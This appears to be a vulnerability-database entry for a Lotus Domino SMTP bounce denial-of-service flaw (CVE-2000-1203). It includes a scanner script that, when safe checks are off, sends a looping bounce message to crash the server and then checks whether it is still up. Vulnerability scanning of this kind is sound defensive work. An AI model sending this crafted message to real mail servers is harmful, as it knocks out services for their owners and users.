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HistoryNov 03, 2005 - 12:00 a.m.

Lotus Domino SMTP bounce DoS

2005-11-0300:00:00
Copyright (C) 2003 Michel Arboi
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10

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.8

Confidence

Low

EPSS

0.014

Percentile

86.7%

The remote SMTP server (maybe a Lotus Domino) can be killed
or disabled by a malformed message that bounces to himself. The routing loop exhausts all resources.

# SPDX-FileCopyrightText: 2003 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:ibm:lotus_domino";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11717");
  script_version("2023-10-31T05:06:37+0000");
  script_tag(name:"last_modification", value:"2023-10-31 05:06:37 +0000 (Tue, 31 Oct 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3212");
  script_cve_id("CVE-2000-1203");

  script_name("Lotus Domino SMTP bounce DoS");

  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2003 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("smtp_relay.nasl", "gb_hcl_domino_consolidation.nasl", "check_smtp_helo.nasl");
  script_mandatory_keys("hcl/domino/detected");

  script_tag(name:"impact", value:"An attacker may use this flaw to crash the service continuously.");

  script_tag(name:"solution", value:"Reconfigure your MTA or upgrade it.");

  script_tag(name:"summary", value:"The remote SMTP server (maybe a Lotus Domino) can be killed
  or disabled by a malformed message that bounces to himself. The routing loop exhausts all resources.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"Mitigation");

  exit(0);
}

include("smtp_func.inc");
include("misc_func.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"smtp" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

banner = smtp_get_banner( port:port );
if ( ! banner || "Lotus Domino" >!< banner )
  exit( 0 );

# nb: Disable the test if the server relays e-mails or if safe checks are enabled
if( get_kb_item( "smtp/" + port + "/spam" ) || safe_checks() ) {
  if( egrep( pattern:"^220.*Lotus Domino Release ([0-4]\.|5\.0\.[0-8][^0-9])", string:banner ) ) {
    security_message( port:port );
    exit( 0 );
  }
  exit( 99 );
}

s = smtp_open( port:port, data:NULL );
if( ! s )
  exit( 0 );

smtp_close( socket:s, check_data:FALSE );
vtstrings = get_vt_strings();
fromaddr = string( "bounce", rand(), "@[127.0.0.1]" );
toaddr = string( vtstrings["lowercase_rand"], "@invalid", rand(), ".net" );

b = string( "From: ", vtstrings["lowercase"], "\r\n",
            "To: postmaster\r\n",
            "Subject: SMTP bounce denial of service\r\n\r\ntest\r\n" );
n = smtp_send_port( port:port, from:fromaddr, to:toaddr, body:b );

sleep( 1 );

s = smtp_open( port:port, data:NULL );
if( s ) {
  smtp_close( socket:s, check_data:FALSE );
  exit( 99 );
}

security_message( port:port );
exit( 0 );

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.8

Confidence

Low

EPSS

0.014

Percentile

86.7%

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